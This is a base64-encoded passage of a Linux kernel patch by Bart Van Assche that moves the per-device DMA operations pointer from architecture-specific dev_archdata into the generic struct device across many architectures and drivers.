OiBCYXJ0IFZhbiBBc3NjaGUgPGJhcnQudmFuYXNzY2hlQHNhbmRpc2suY29tPgotLS0KIGFyY2gv
YXJtL2luY2x1ZGUvYXNtL2RldmljZS5oICAgICAgICAgICAgfCAxIC0KIGFyY2gvYXJtL2luY2x1
ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgfCA2ICsrKy0tLQogYXJjaC9hcm02NC9pbmNsdWRl
L2FzbS9kZXZpY2UuaCAgICAgICAgICB8IDEgLQogYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9kbWEt
bWFwcGluZy5oICAgICB8IDQgKystLQogYXJjaC9hcm02NC9tbS9kbWEtbWFwcGluZy5jICAgICAg
ICAgICAgICB8IDggKysrKy0tLS0KIGFyY2gvbTMyci9pbmNsdWRlL2FzbS9kZXZpY2UuaCAgICAg
ICAgICAgfCAxIC0KIGFyY2gvbTMyci9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgfCA0
ICsrLS0KIGFyY2gvbWlwcy9pbmNsdWRlL2FzbS9kZXZpY2UuaCAgICAgICAgICAgfCA1IC0tLS0t
CiBhcmNoL21pcHMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgIHwgNCArKy0tCiBhcmNo
L21pcHMvcGNpL3BjaS1vY3Rlb24uYyAgICAgICAgICAgICAgIHwgMiArLQogYXJjaC9wb3dlcnBj
L2luY2x1ZGUvYXNtL2RldmljZS5oICAgICAgICB8IDQgLS0tLQogYXJjaC9wb3dlcnBjL2luY2x1
ZGUvYXNtL2RtYS1tYXBwaW5nLmggICB8IDQgKystLQogYXJjaC9wb3dlcnBjL2tlcm5lbC9kbWEu
YyAgICAgICAgICAgICAgICB8IDIgKy0KIGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvY2VsbC9pb21t
dS5jICAgICAgfCAyICstCiBhcmNoL3Bvd2VycGMvcGxhdGZvcm1zL3Bhc2VtaS9pb21tdS5jICAg
IHwgMiArLQogYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkvc2V0dXAuYyAgICB8IDIgKy0K
IGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcHMzL3N5c3RlbS1idXMuYyAgfCA0ICsrLS0KIGFyY2gv
cG93ZXJwYy9wbGF0Zm9ybXMvcHNlcmllcy9pYm1lYnVzLmMgfCAyICstCiBhcmNoL3MzOTAvaW5j
bHVkZS9hc20vZGV2aWNlLmggICAgICAgICAgIHwgMSAtCiBhcmNoL3MzOTAvaW5jbHVkZS9hc20v
ZG1hLW1hcHBpbmcuaCAgICAgIHwgNCArKy0tCiBhcmNoL3MzOTAvcGNpL3BjaS5jICAgICAgICAg
ICAgICAgICAgICAgIHwgMiArLQogYXJjaC90aWxlL2luY2x1ZGUvYXNtL2RldmljZS5oICAgICAg
ICAgICB8IDMgLS0tCiBhcmNoL3RpbGUvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgIHwg
NiArKystLS0KIGFyY2gveDg2L2luY2x1ZGUvYXNtL2RldmljZS5oICAgICAgICAgICAgfCAzIC0t
LQogYXJjaC94ODYvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgICB8IDQgKystLQogYXJj
aC94ODYva2VybmVsL3BjaS1jYWxnYXJ5XzY0LmMgICAgICAgICB8IDQgKystLQogYXJjaC94ODYv
cGNpL2NvbW1vbi5jICAgICAgICAgICAgICAgICAgICB8IDIgKy0KIGFyY2gveDg2L3BjaS9zdGEy
eDExLWZpeHVwLmMgICAgICAgICAgICAgfCA4ICsrKystLS0tCiBhcmNoL3h0ZW5zYS9pbmNsdWRl
L2FzbS9kZXZpY2UuaCAgICAgICAgIHwgNCAtLS0tCiBhcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oICAgIHwgNCArKy0tCiBkcml2ZXJzL2luZmluaWJhbmQvdWxwL3NycHQvaWJf
c3JwdC5jICAgIHwgMiArLQogZHJpdmVycy9pb21tdS9hbWRfaW9tbXUuYyAgICAgICAgICAgICAg
ICB8IDYgKysrLS0tCiBkcml2ZXJzL21pc2MvbWljL2J1cy9taWNfYnVzLmMgICAgICAgICAgIHwg
MiArLQogZHJpdmVycy9taXNjL21pYy9idXMvc2NpZl9idXMuYyAgICAgICAgICB8IDIgKy0KIGlu
Y2x1ZGUvbGludXgvZGV2aWNlLmggICAgICAgICAgICAgICAgICAgfCAxICsKIDM1IGZpbGVzIGNo
YW5nZWQsIDQ3IGluc2VydGlvbnMoKyksIDY5IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2Fy
Y2gvYXJtL2luY2x1ZGUvYXNtL2RldmljZS5oIGIvYXJjaC9hcm0vaW5jbHVkZS9hc20vZGV2aWNl
LmgKaW5kZXggZDhhNTcyZjljMTg3Li4yMjBiYTIwN2JlOTEgMTAwNjQ0Ci0tLSBhL2FyY2gvYXJt
L2luY2x1ZGUvYXNtL2RldmljZS5oCisrKyBiL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RldmljZS5o
CkBAIC03LDcgKzcsNiBAQAogI2RlZmluZSBBU01BUk1fREVWSUNFX0gKIAogc3RydWN0IGRldl9h
cmNoZGF0YSB7Ci0JY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzCSpkbWFfb3BzOwogI2lmZGVmIENP
TkZJR19ETUFCT1VOQ0UKIAlzdHJ1Y3QgZG1hYm91bmNlX2RldmljZV9pbmZvICpkbWFib3VuY2U7
CiAjZW5kaWYKZGlmZiAtLWdpdCBhL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgg
Yi9hcmNoL2FybS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IDFhYWJkNzgxMzA2Zi4u
MzEyZjRkMDU2NGQ2IDEwMDY0NAotLS0gYS9hcmNoL2FybS9pbmNsdWRlL2FzbS9kbWEtbWFwcGlu
Zy5oCisrKyBiL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTE4LDggKzE4
LDggQEAgZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyBhcm1fY29oZXJlbnRfZG1hX29w
czsKIAogc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKl9fZ2VuZXJpY19k
bWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKIHsKLQlpZiAoZGV2ICYmIGRldi0+YXJjaGRhdGEu
ZG1hX29wcykKLQkJcmV0dXJuIGRldi0+YXJjaGRhdGEuZG1hX29wczsKKwlpZiAoZGV2ICYmIGRl
di0+ZG1hX29wcykKKwkJcmV0dXJuIGRldi0+ZG1hX29wczsKIAlyZXR1cm4gJmFybV9kbWFfb3Bz
OwogfQogCkBAIC0zNCw3ICszNCw3IEBAIHN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9t
YXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCiBzdGF0aWMgaW5saW5lIHZv
aWQgc2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2LCBjb25zdCBzdHJ1Y3QgZG1hX21hcF9v
cHMgKm9wcykKIHsKIAlCVUdfT04oIWRldik7Ci0JZGV2LT5hcmNoZGF0YS5kbWFfb3BzID0gb3Bz
OworCWRldi0+ZG1hX29wcyA9IG9wczsKIH0KIAogI2RlZmluZSBIQVZFX0FSQ0hfRE1BX1NVUFBP
UlRFRCAxCmRpZmYgLS1naXQgYS9hcmNoL2FybTY0L2luY2x1ZGUvYXNtL2RldmljZS5oIGIvYXJj
aC9hcm02NC9pbmNsdWRlL2FzbS9kZXZpY2UuaAppbmRleCAwMGM2NzhjYzMxZTEuLjczZDViYWIw
MTVlYiAxMDA2NDQKLS0tIGEvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9kZXZpY2UuaAorKysgYi9h
cmNoL2FybTY0L2luY2x1ZGUvYXNtL2RldmljZS5oCkBAIC0xNyw3ICsxNyw2IEBACiAjZGVmaW5l
IF9fQVNNX0RFVklDRV9ICiAKIHN0cnVjdCBkZXZfYXJjaGRhdGEgewotCWNvbnN0IHN0cnVjdCBk
bWFfbWFwX29wcyAqZG1hX29wczsKICNpZmRlZiBDT05GSUdfSU9NTVVfQVBJCiAJdm9pZCAqaW9t
bXU7CQkJLyogcHJpdmF0ZSBJT01NVSBkYXRhICovCiAjZW5kaWYKZGlmZiAtLWdpdCBhL2FyY2gv
YXJtNjQvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvYXJtNjQvaW5jbHVkZS9hc20v
ZG1hLW1hcHBpbmcuaAppbmRleCAxZmVkYjQzYmU3MTIuLjU4YWUzNmNjM2I2MCAxMDA2NDQKLS0t
IGEvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCisrKyBiL2FyY2gvYXJtNjQv
aW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMjksOCArMjksOCBAQCBleHRlcm4gY29uc3Qg
c3RydWN0IGRtYV9tYXBfb3BzIGR1bW15X2RtYV9vcHM7CiAKIHN0YXRpYyBpbmxpbmUgY29uc3Qg
c3RydWN0IGRtYV9tYXBfb3BzICpfX2dlbmVyaWNfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYp
CiB7Ci0JaWYgKGRldiAmJiBkZXYtPmFyY2hkYXRhLmRtYV9vcHMpCi0JCXJldHVybiBkZXYtPmFy
Y2hkYXRhLmRtYV9vcHM7CisJaWYgKGRldiAmJiBkZXYtPmRtYV9vcHMpCisJCXJldHVybiBkZXYt
PmRtYV9vcHM7CiAKIAkvKgogCSAqIFdlIGV4cGVjdCBubyBJU0EgZGV2aWNlcywgYW5kIGFsbCBv
dGhlciBETUEgbWFzdGVycyBhcmUgZXhwZWN0ZWQgdG8KZGlmZiAtLWdpdCBhL2FyY2gvYXJtNjQv
bW0vZG1hLW1hcHBpbmcuYyBiL2FyY2gvYXJtNjQvbW0vZG1hLW1hcHBpbmcuYwppbmRleCBiY2Vm
NjM2OGQ0OGYuLmRiYWI0YzZjMDg0YiAxMDA2NDQKLS0tIGEvYXJjaC9hcm02NC9tbS9kbWEtbWFw
cGluZy5jCisrKyBiL2FyY2gvYXJtNjQvbW0vZG1hLW1hcHBpbmcuYwpAQCAtODM3LDcgKzgzNyw3
IEBAIHN0YXRpYyBib29sIGRvX2lvbW11X2F0dGFjaChzdHJ1Y3QgZGV2aWNlICpkZXYsIGNvbnN0
IHN0cnVjdCBpb21tdV9vcHMgKm9wcywKIAkJcmV0dXJuIGZhbHNlOwogCX0KIAotCWRldi0+YXJj
aGRhdGEuZG1hX29wcyA9ICZpb21tdV9kbWFfb3BzOworCWRldi0+ZG1hX29wcyA9ICZpb21tdV9k
bWFfb3BzOwogCXJldHVybiB0cnVlOwogfQogCkBAIC05NDEsNyArOTQxLDcgQEAgc3RhdGljIHZv
aWQgX19pb21tdV9zZXR1cF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldiwgdTY0IGRtYV9iYXNl
LCB1NjQgc2l6ZSwKIAogdm9pZCBhcmNoX3RlYXJkb3duX2RtYV9vcHMoc3RydWN0IGRldmljZSAq
ZGV2KQogewotCWRldi0+YXJjaGRhdGEuZG1hX29wcyA9IE5VTEw7CisJZGV2LT5kbWFfb3BzID0g
TlVMTDsKIH0KIAogI2Vsc2UKQEAgLTk1NSw4ICs5NTUsOCBAQCBzdGF0aWMgdm9pZCBfX2lvbW11
X3NldHVwX2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2LCB1NjQgZG1hX2Jhc2UsIHU2NCBzaXpl
LAogdm9pZCBhcmNoX3NldHVwX2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2LCB1NjQgZG1hX2Jh
c2UsIHU2NCBzaXplLAogCQkJY29uc3Qgc3RydWN0IGlvbW11X29wcyAqaW9tbXUsIGJvb2wgY29o
ZXJlbnQpCiB7Ci0JaWYgKCFkZXYtPmFyY2hkYXRhLmRtYV9vcHMpCi0JCWRldi0+YXJjaGRhdGEu
ZG1hX29wcyA9ICZzd2lvdGxiX2RtYV9vcHM7CisJaWYgKCFkZXYtPmRtYV9vcHMpCisJCWRldi0+
ZG1hX29wcyA9ICZzd2lvdGxiX2RtYV9vcHM7CiAKIAlkZXYtPmFyY2hkYXRhLmRtYV9jb2hlcmVu
dCA9IGNvaGVyZW50OwogCV9faW9tbXVfc2V0dXBfZG1hX29wcyhkZXYsIGRtYV9iYXNlLCBzaXpl
LCBpb21tdSk7CmRpZmYgLS1naXQgYS9hcmNoL20zMnIvaW5jbHVkZS9hc20vZGV2aWNlLmggYi9h
cmNoL20zMnIvaW5jbHVkZS9hc20vZGV2aWNlLmgKaW5kZXggNzk1NWE5Nzk5NDY2Li41MjAzZmM4
N2YwODAgMTAwNjQ0Ci0tLSBhL2FyY2gvbTMyci9pbmNsdWRlL2FzbS9kZXZpY2UuaAorKysgYi9h
cmNoL20zMnIvaW5jbHVkZS9hc20vZGV2aWNlLmgKQEAgLTQsNyArNCw2IEBACiAgKiBUaGlzIGZp
bGUgaXMgcmVsZWFzZWQgdW5kZXIgdGhlIEdQTHYyCiAgKi8KIHN0cnVjdCBkZXZfYXJjaGRhdGEg
ewotCWNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hX29wczsKIH07CiAKIHN0cnVjdCBwZGV2
X2FyY2hkYXRhIHsKZGlmZiAtLWdpdCBhL2FyY2gvbTMyci9pbmNsdWRlL2FzbS9kbWEtbWFwcGlu
Zy5oIGIvYXJjaC9tMzJyL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggOTljNDNkMmYw
NWRjLi4yN2IxNTk3YWM1NjMgMTAwNjQ0Ci0tLSBhL2FyY2gvbTMyci9pbmNsdWRlL2FzbS9kbWEt
bWFwcGluZy5oCisrKyBiL2FyY2gvbTMyci9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0x
Miw4ICsxMiw4IEBACiAKIHN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpn
ZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCiB7Ci0JaWYgKGRldiAmJiBkZXYtPmFyY2hk
YXRhLmRtYV9vcHMpCi0JCXJldHVybiBkZXYtPmFyY2hkYXRhLmRtYV9vcHM7CisJaWYgKGRldiAm
JiBkZXYtPmRtYV9vcHMpCisJCXJldHVybiBkZXYtPmRtYV9vcHM7CiAJcmV0dXJuICZkbWFfbm9v
cF9vcHM7CiB9CiAKZGlmZiAtLWdpdCBhL2FyY2gvbWlwcy9pbmNsdWRlL2FzbS9kZXZpY2UuaCBi
L2FyY2gvbWlwcy9pbmNsdWRlL2FzbS9kZXZpY2UuaAppbmRleCBlYmM1YzEyNjU0NzMuLjZhYTc5
NmYxMDgxYSAxMDA2NDQKLS0tIGEvYXJjaC9taXBzL2luY2x1ZGUvYXNtL2RldmljZS5oCisrKyBi
L2FyY2gvbWlwcy9pbmNsdWRlL2FzbS9kZXZpY2UuaApAQCAtNiwxMiArNiw3IEBACiAjaWZuZGVm
IF9BU01fTUlQU19ERVZJQ0VfSAogI2RlZmluZSBfQVNNX01JUFNfREVWSUNFX0gKIAotc3RydWN0
IGRtYV9tYXBfb3BzOwotCiBzdHJ1Y3QgZGV2X2FyY2hkYXRhIHsKLQkvKiBETUEgb3BlcmF0aW9u
cyBvbiB0aGF0IGRldmljZSAqLwotCWNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hX29wczsK
LQogI2lmZGVmIENPTkZJR19ETUFfUEVSREVWX0NPSEVSRU5UCiAJLyogTm9uLXplcm8gaWYgRE1B
IGlzIGNvaGVyZW50IHdpdGggQ1BVIGNhY2hlcyAqLwogCWJvb2wgZG1hX2NvaGVyZW50OwpkaWZm
IC0tZ2l0IGEvYXJjaC9taXBzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL21pcHMv
aW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCBiNTliMDg0YTc1NjkuLmRhZDNiMDlmZTk5
MyAxMDA2NDQKLS0tIGEvYXJjaC9taXBzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIv
YXJjaC9taXBzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTEzLDggKzEzLDggQEAgZXh0
ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqbWlwc19kbWFfbWFwX29wczsKIAogc3RhdGlj
IGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZp
Y2UgKmRldikKIHsKLQlpZiAoZGV2ICYmIGRldi0+YXJjaGRhdGEuZG1hX29wcykKLQkJcmV0dXJu
IGRldi0+YXJjaGRhdGEuZG1hX29wczsKKwlpZiAoZGV2ICYmIGRldi0+ZG1hX29wcykKKwkJcmV0
dXJuIGRldi0+ZG1hX29wczsKIAllbHNlCiAJCXJldHVybiBtaXBzX2RtYV9tYXBfb3BzOwogfQpk
aWZmIC0tZ2l0IGEvYXJjaC9taXBzL3BjaS9wY2ktb2N0ZW9uLmMgYi9hcmNoL21pcHMvcGNpL3Bj
aS1vY3Rlb24uYwppbmRleCAzMDhkMDUxZmM0NWMuLjllZTAxOTM2ODYyZSAxMDA2NDQKLS0tIGEv
YXJjaC9taXBzL3BjaS9wY2ktb2N0ZW9uLmMKKysrIGIvYXJjaC9taXBzL3BjaS9wY2ktb2N0ZW9u
LmMKQEAgLTE2Nyw3ICsxNjcsNyBAQCBpbnQgcGNpYmlvc19wbGF0X2Rldl9pbml0KHN0cnVjdCBw
Y2lfZGV2ICpkZXYpCiAJCXBjaV93cml0ZV9jb25maWdfZHdvcmQoZGV2LCBwb3MgKyBQQ0lfRVJS
X1JPT1RfU1RBVFVTLCBkY29uZmlnKTsKIAl9CiAKLQlkZXYtPmRldi5hcmNoZGF0YS5kbWFfb3Bz
ID0gb2N0ZW9uX3BjaV9kbWFfbWFwX29wczsKKwlkZXYtPmRldi5kbWFfb3BzID0gb2N0ZW9uX3Bj
aV9kbWFfbWFwX29wczsKIAogCXJldHVybiAwOwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBj
L2luY2x1ZGUvYXNtL2RldmljZS5oIGIvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2RldmljZS5o
CmluZGV4IDQ5Y2JiMGZjYTIzMy4uMDI0NWJmY2FhYzMyIDEwMDY0NAotLS0gYS9hcmNoL3Bvd2Vy
cGMvaW5jbHVkZS9hc20vZGV2aWNlLmgKKysrIGIvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2Rl
dmljZS5oCkBAIC02LDcgKzYsNiBAQAogI2lmbmRlZiBfQVNNX1BPV0VSUENfREVWSUNFX0gKICNk
ZWZpbmUgX0FTTV9QT1dFUlBDX0RFVklDRV9ICiAKLXN0cnVjdCBkbWFfbWFwX29wczsKIHN0cnVj
dCBkZXZpY2Vfbm9kZTsKICNpZmRlZiBDT05GSUdfUFBDNjQKIHN0cnVjdCBwY2lfZG47CkBAIC0y
MCw5ICsxOSw2IEBAIHN0cnVjdCBpb21tdV90YWJsZTsKICAqIGRyaXZlcnMvbWFjaW50b3NoL21h
Y2lvX2FzaWMuYwogICovCiBzdHJ1Y3QgZGV2X2FyY2hkYXRhIHsKLQkvKiBETUEgb3BlcmF0aW9u
cyBvbiB0aGF0IGRldmljZSAqLwotCWNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcwkqZG1hX29wczsK
LQogCS8qCiAJICogVGhlc2UgdHdvIHVzZWQgdG8gYmUgYSB1bmlvbi4gSG93ZXZlciwgd2l0aCB0
aGUgaHlicmlkIG9wcyB3ZSBuZWVkCiAJICogYm90aCBzbyBoZXJlIHdlIHN0b3JlIGJvdGggYSBE
TUEgb2Zmc2V0IGZvciBkaXJlY3QgbWFwcGluZ3MgYW5kCmRpZmYgLS1naXQgYS9hcmNoL3Bvd2Vy
cGMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCmluZGV4IDJlYzNlYWRmMzM2Zi4uNTlmYmQ0YWJjYmY4IDEwMDY0NAotLS0g
YS9hcmNoL3Bvd2VycGMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3Bvd2Vy
cGMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtODgsMTIgKzg4LDEyIEBAIHN0YXRpYyBp
bmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNl
ICpkZXYpCiAJaWYgKHVubGlrZWx5KGRldiA9PSBOVUxMKSkKIAkJcmV0dXJuIE5VTEw7CiAKLQly
ZXR1cm4gZGV2LT5hcmNoZGF0YS5kbWFfb3BzOworCXJldHVybiBkZXYtPmRtYV9vcHM7CiB9CiAK
IHN0YXRpYyBpbmxpbmUgdm9pZCBzZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYsIGNvbnN0
IHN0cnVjdCBkbWFfbWFwX29wcyAqb3BzKQogewotCWRldi0+YXJjaGRhdGEuZG1hX29wcyA9IG9w
czsKKwlkZXYtPmRtYV9vcHMgPSBvcHM7CiB9CiAKIC8qCmRpZmYgLS1naXQgYS9hcmNoL3Bvd2Vy
cGMva2VybmVsL2RtYS5jIGIvYXJjaC9wb3dlcnBjL2tlcm5lbC9kbWEuYwppbmRleCAwM2I5OGYx
Zjk4ZWMuLjQxYzc0OTU4NmJkMiAxMDA2NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9kbWEu
YworKysgYi9hcmNoL3Bvd2VycGMva2VybmVsL2RtYS5jCkBAIC0zMyw3ICszMyw3IEBAIHN0YXRp
YyB1NjQgX19tYXliZV91bnVzZWQgZ2V0X3Bmbl9saW1pdChzdHJ1Y3QgZGV2aWNlICpkZXYpCiAJ
c3RydWN0IGRldl9hcmNoZGF0YSBfX21heWJlX3VudXNlZCAqc2QgPSAmZGV2LT5hcmNoZGF0YTsK
IAogI2lmZGVmIENPTkZJR19TV0lPVExCCi0JaWYgKHNkLT5tYXhfZGlyZWN0X2RtYV9hZGRyICYm
IHNkLT5kbWFfb3BzID09ICZzd2lvdGxiX2RtYV9vcHMpCisJaWYgKHNkLT5tYXhfZGlyZWN0X2Rt
YV9hZGRyICYmIGRldi0+ZG1hX29wcyA9PSAmc3dpb3RsYl9kbWFfb3BzKQogCQlwZm4gPSBtaW5f
dCh1NjQsIHBmbiwgc2QtPm1heF9kaXJlY3RfZG1hX2FkZHIgPj4gUEFHRV9TSElGVCk7CiAjZW5k
aWYKIApkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9jZWxsL2lvbW11LmMgYi9h
cmNoL3Bvd2VycGMvcGxhdGZvcm1zL2NlbGwvaW9tbXUuYwppbmRleCBlMTQxM2U2OWU1ZmUuLjcx
Yjk5NWJiY2FlMCAxMDA2NDQKLS0tIGEvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9jZWxsL2lvbW11
LmMKKysrIGIvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9jZWxsL2lvbW11LmMKQEAgLTY5Miw3ICs2
OTIsNyBAQCBzdGF0aWMgaW50IGNlbGxfb2ZfYnVzX25vdGlmeShzdHJ1Y3Qgbm90aWZpZXJfYmxv
Y2sgKm5iLCB1bnNpZ25lZCBsb25nIGFjdGlvbiwKIAkJcmV0dXJuIDA7CiAKIAkvKiBXZSB1c2Ug
dGhlIFBDSSBETUEgb3BzICovCi0JZGV2LT5hcmNoZGF0YS5kbWFfb3BzID0gZ2V0X3BjaV9kbWFf
b3BzKCk7CisJZGV2LT5kbWFfb3BzID0gZ2V0X3BjaV9kbWFfb3BzKCk7CiAKIAljZWxsX2RtYV9k
ZXZfc2V0dXAoZGV2KTsKIApkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNl
bWkvaW9tbXUuYyBiL2FyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcGFzZW1pL2lvbW11LmMKaW5kZXgg
ZTc0YWRjNGU3ZmQ4Li43ZmVjMDRkZTI3ZmMgMTAwNjQ0Ci0tLSBhL2FyY2gvcG93ZXJwYy9wbGF0
Zm9ybXMvcGFzZW1pL2lvbW11LmMKKysrIGIvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkv
aW9tbXUuYwpAQCAtMTg2LDcgKzE4Niw3IEBAIHN0YXRpYyB2b2lkIHBjaV9kbWFfZGV2X3NldHVw
X3Bhc2VtaShzdHJ1Y3QgcGNpX2RldiAqZGV2KQogCSAqLwogCWlmIChkZXYtPnZlbmRvciA9PSAw
eDE5NTkgJiYgZGV2LT5kZXZpY2UgPT0gMHhhMDA3ICYmCiAJICAgICFmaXJtd2FyZV9oYXNfZmVh
dHVyZShGV19GRUFUVVJFX0xQQVIpKSB7Ci0JCWRldi0+ZGV2LmFyY2hkYXRhLmRtYV9vcHMgPSAm
ZG1hX2RpcmVjdF9vcHM7CisJCWRldi0+ZGV2LmRtYV9vcHMgPSAmZG1hX2RpcmVjdF9vcHM7CiAJ
CS8qCiAJCSAqIFNldCB0aGUgY29oZXJlbnQgRE1BIG1hc2sgdG8gcHJldmVudCB0aGUgaW9tbXUK
IAkJICogYmVpbmcgdXNlZCB1bm5lY2Vzc2FyaWx5CmRpZmYgLS1naXQgYS9hcmNoL3Bvd2VycGMv
cGxhdGZvcm1zL3Bhc2VtaS9zZXR1cC5jIGIvYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkv
c2V0dXAuYwppbmRleCAzMTgyNDAwY2Y0OGYuLmM0YTNlOTNkYzMyNCAxMDA2NDQKLS0tIGEvYXJj
aC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkvc2V0dXAuYworKysgYi9hcmNoL3Bvd2VycGMvcGxh
dGZvcm1zL3Bhc2VtaS9zZXR1cC5jCkBAIC0zNjMsNyArMzYzLDcgQEAgc3RhdGljIGludCBwY21j
aWFfbm90aWZ5KHN0cnVjdCBub3RpZmllcl9ibG9jayAqbmIsIHVuc2lnbmVkIGxvbmcgYWN0aW9u
LAogCQlyZXR1cm4gMDsKIAogCS8qIFdlIHVzZSB0aGUgZGlyZWN0IG9wcyBmb3IgbG9jYWxidXMg
Ki8KLQlkZXYtPmFyY2hkYXRhLmRtYV9vcHMgPSAmZG1hX2RpcmVjdF9vcHM7CisJZGV2LT5kbWFf
b3BzID0gJmRtYV9kaXJlY3Rfb3BzOwogCiAJcmV0dXJuIDA7CiB9CmRpZmYgLS1naXQgYS9hcmNo
L3Bvd2VycGMvcGxhdGZvcm1zL3BzMy9zeXN0ZW0tYnVzLmMgYi9hcmNoL3Bvd2VycGMvcGxhdGZv
cm1zL3BzMy9zeXN0ZW0tYnVzLmMKaW5kZXggYzgxNDUwZDk4Nzk0Li4yZDJlNWY4MGEzZDMgMTAw
NjQ0Ci0tLSBhL2FyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcHMzL3N5c3RlbS1idXMuYworKysgYi9h
cmNoL3Bvd2VycGMvcGxhdGZvcm1zL3BzMy9zeXN0ZW0tYnVzLmMKQEAgLTc1NiwxMSArNzU2LDEx
IEBAIGludCBwczNfc3lzdGVtX2J1c19kZXZpY2VfcmVnaXN0ZXIoc3RydWN0IHBzM19zeXN0ZW1f
YnVzX2RldmljZSAqZGV2KQogCiAJc3dpdGNoIChkZXYtPmRldl90eXBlKSB7CiAJY2FzZSBQUzNf
REVWSUNFX1RZUEVfSU9DMDoKLQkJZGV2LT5jb3JlLmFyY2hkYXRhLmRtYV9vcHMgPSAmcHMzX2lv
YzBfZG1hX29wczsKKwkJZGV2LT5jb3JlLmRtYV9vcHMgPSAmcHMzX2lvYzBfZG1hX29wczsKIAkJ
ZGV2X3NldF9uYW1lKCZkZXYtPmNvcmUsICJpb2MwXyUwMngiLCArK2Rldl9pb2MwX2NvdW50KTsK
IAkJYnJlYWs7CiAJY2FzZSBQUzNfREVWSUNFX1RZUEVfU0I6Ci0JCWRldi0+Y29yZS5hcmNoZGF0
YS5kbWFfb3BzID0gJnBzM19zYl9kbWFfb3BzOworCQlkZXYtPmNvcmUuZG1hX29wcyA9ICZwczNf
c2JfZG1hX29wczsKIAkJZGV2X3NldF9uYW1lKCZkZXYtPmNvcmUsICJzYl8lMDJ4IiwgKytkZXZf
c2JfY291bnQpOwogCiAJCWJyZWFrOwpkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBjL3BsYXRmb3Jt
cy9wc2VyaWVzL2libWVidXMuYyBiL2FyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcHNlcmllcy9pYm1l
YnVzLmMKaW5kZXggMmUzNmEwYjg5NDRhLi45OWE2YmY3ZjNiY2YgMTAwNjQ0Ci0tLSBhL2FyY2gv
cG93ZXJwYy9wbGF0Zm9ybXMvcHNlcmllcy9pYm1lYnVzLmMKKysrIGIvYXJjaC9wb3dlcnBjL3Bs
